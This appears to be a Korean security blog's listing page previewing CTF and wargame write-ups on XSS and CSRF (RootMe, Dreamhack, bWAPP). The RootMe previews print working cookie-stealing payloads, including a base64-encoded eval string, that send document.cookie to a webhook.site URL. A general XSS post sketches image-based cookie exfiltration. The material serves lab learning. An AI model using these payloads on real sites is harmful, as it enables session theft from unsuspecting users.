반응형

XSS 13

RootMe - XSS - Reflected WriteUp

문제 풀이' 삽입시 a태그 속성 escape 가능 cookie 전송하는 코드를 base64로 인코딩location.href="https://webhook.site/a0a45cf9-b23f-44e7-a80c-0744cad0a729?a=".concat(document.cookie) base64 디코딩 후 eval 함수를 사용할 경우 cookie 전송 자바스크립트 실행eval(atob("bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly93ZWJob29rLnNpdGUvYTBhNDVjZjktYjIzZi00NGU3LWE4MGMtMDc0NGNhZDBhNzI5P2E9Ii5jb25jYXQoZG9jdW1lbnQuY29va2llKQ==")) 해당 url 접근시 cookie를 포함하여 location 리다이렉트되어 쿠키..

WEB hacking/rootme 2025.02.20

RootMe - XSS DOM Based - Eval WriteUp

문제 풀이계산기 웹사이트 존재 사용자의 입력 값이 eval 함수 안에 삽입된 후 그 결과가 innerText로 들어가게 된다. 계산기 입력받는 값에서 정규식이 존재( /^\d+[\+|\-|\*|\/]\d+/)1. 숫자로 시작2. 숫자뒤에 +, -, *, / 와야 함3. 계산식 뒤에 숫자가 와야 함 위 정규식에 허점이 존재, 1+1 다음에 아무런 값이 올 수 있음 eval에서 ,를 사용해서 여러개의 자바스크립트 코드 실행이 가능하다. POC아래 코드 실행 시 webhook사이트로 cookie값을 전송할 수 있다.eval(1+1, location.href="https://webhook.site/a0a45cf9-b23f-44e7-a80c-0744cad0a729?c=".concat`${document.cooki..

WEB hacking/rootme 2025.02.19

드림핵 XSS Filtering Bypass WriteUp

문제 설명 XSS Filtering Bypass에 대한 문제이다. 이를 통해 크로스 사이트 스크립팅 취약점을 이용하여 문제를 해결해야함을 알 수 있다. 메인페이지에 접속을 하면 vuln, memo, flag에 대한 페이지에 접근할 수 있다. 먼제 vuln에 대해 살펴보겠다. vuln 페이지 소스코드 @app.route("/vuln") def vuln(): param = request.args.get("param", "") param = xss_filter(param) return param vuln 페이지는 param이라는 인자를 받아 xss_filter함수를 통해 필터링을 진행한 후 그대로 출력해준다. xss_filter을 살펴보자!! xss_filter 함수 소스코드 def xss_filter(tex..

드림핵 csrf-2 (Level1) Write up

문제 설명 https://dreamhack.io/wargame/challenges/269/ csrf-2 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. CSRF 취약점을 이용해 플래그를 획득하세요. Reference Client-side Basic dreamhack.io 위 사이트에서 해당 문제를 풀 수 있다. CSRF 취약점을 이용하여 플래그를 획득하면 된다. login 하라고 한다. 먼저 코드를 분석해보자!! users = { 'guest': 'guest', 'admin': FLAG } user의 id와 password가 주어져있다. admin의 password는 flag라고 되어있으니 guest로 로그인을 진행한다. guest로 로그인을 진행하니 admin이 아니라고 한다. adm..

드림핵 csrf-1 (Level1) Write up

문제 설명 https://dreamhack.io/wargame/challenges/26/ csrf-1 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. CSRF 취약점을 이용해 플래그를 획득하세요. Reference Client-side Basic dreamhack.io 위 사이트에서 해당 문제를 풀 수 있다. CSRF 취약점을 이용하여 플래그를 획득하면 된다. 사이트에 접속을 하면 vuln(csrf) page, memo, notice flag, flag 페이지가 있다. vuln(csrf) page는 파라미터에 스크립트를 삽입하여 취약점을 실습을 할 수 있는 페이지이고 memo는 request를 받은것을 메모해주는 페이지이다. notice flag는 admin만 접근이 가능하다. flag..

드림핵 xss-2 (Level1) Write up

문제 설명 https://dreamhack.io/wargame/challenges/268/?writeup_id=6566 xss-2 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. Reference ClientSide: dreamhack.io 위 사이트에서 해당 문제를 풀 수 있다. XSS를 이용하여 flag를 확인하면 되는 문제이다. /vuln 사이트에 script 공격이 막혀있다. 이것을 우회해서 문제를 풀면 될 것이다. 을 사용하여 XSS 취약점을 도출 하였다. 이것을 바탕으로 payload를 짜면 아래와 같다. payload 해당 페이로드를 /fl..

드림핵 xss-1 (Level1) Write up

문제 설명 https://dreamhack.io/wargame/challenges/28/ xss-1 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. Reference Client-side dreamhack.io 위 사이트에서 해당 문제를 풀 수 있다. XSS를 이용하여 flag를 확인하면 되는 문제이다. #!/usr/bin/python3 from flask import Flask, request, render_template from selenium import webdriver import urllib import os app = Flask(__nam..

XSS(크로스 사이트 스크립팅)

XSS 스크립트 예시 쿠키 및 세션 탈취 공격 코드 # "hello" 문자열 alert 실행 # 현재 페이지의 쿠키(return type: string) # 현재 페이지의 쿠키를 인자로 가진 alert 실행 # 쿠키 생성(key: name, value: test) # new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. # "공격자 주소/?cookie=현재페이지의쿠키 " 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함 페이지 변조 공격 코드 # 이용자의 페이지 정보에 접근 # 이용자의 페이지에 데이터를 삽입 # 새 창 열기 Cross Site Scripting (XSS): 클라이언트 사이드 취약점, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 ..

[비박스(bWAPP)] - HTML5 Web Storage (Secret), XSS - Reflected (GET)

내용을 보면 로그인 이름과 시크릿이 html5에 저장되어 있다고한다. 힌트는 XSS(크로스 사이트 스크립트)를 통해 알아 내는 문제이다. 스토리지를 확인 해 보면 로그인 아이디는 bee이고 시크릿은 any bug?로 정보를 알려주고 있다. 크로스 사이트 스크립트 공격을 시도하기 위해 bWAPP 메뉴 중 A3에 XSS - reflected(get) 메뉴를 선택한 후 공격을 시도해 보겠다. first name에 기본적인 자바스크립트를 작성하여 넣어보겠다. 스크립트가 작동한 것을 확인 하였으니 로컬스토리지에 있는 내용을 읽어 보겠다. localStorage.getItem() 자바스크립트 함수를 이용하여 로컬 스토리지에 저장되어 있는 내용을 읽었고, 인자로 secret을 입력함으로써 secret 키의 값을 읽을..

반응형